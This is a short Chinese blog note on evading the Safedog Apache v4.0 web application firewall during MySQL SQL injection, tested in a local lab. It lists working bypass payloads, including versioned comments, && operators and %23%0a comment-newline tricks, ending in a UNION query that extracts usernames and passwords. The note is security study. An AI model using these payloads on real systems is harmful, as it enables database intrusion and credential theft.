最新安全狗 apache v4.0 sql注入 bypass

前言

最近没事学习一下 wafbypass , 本文介绍下 bypass 安全狗的笔记。个人感觉 bypass 的总思路(正则匹配型 waf)就是利用各种语法特性来逃避正则(当然要保证语法正确性的前提下)

测试环境:

phpstudy  + 安全狗Apache版 V4.0、
burp + hackvertor 插件

判断注入

判断字符型注入还是数字型

往数字后面加若干个字母,如果结果不变应该是字符型注入,因为 mysql 的弱类型会把 1xxxx 转换成 1

引入逻辑表达式进行判断

利用 Mysql 支持的 /*!*/ 语法引入 && 绕过过滤

1'/*!&&*/1#'

order by 获取列数

还是利用 /*!*/ 语法来引入关键字, 然后利用 () 包裹数字绕过空格进而绕过正则。

1'/*!&&*/0/*!order*/by(2)#'

所以有 2 列。

绕过 union

%23%0a 绕过正则, 原因大概是 # 是注释符号(只注释一行 截止), waf 认为后面的都是注释不去匹配,而 mysql 支持使用 代替空格,所以绕过了正则。

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>

拿密码

使用 %23%0a ,绕过正则

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27

原文地址:https://www.cnblogs.com/hac425/p/10147740.html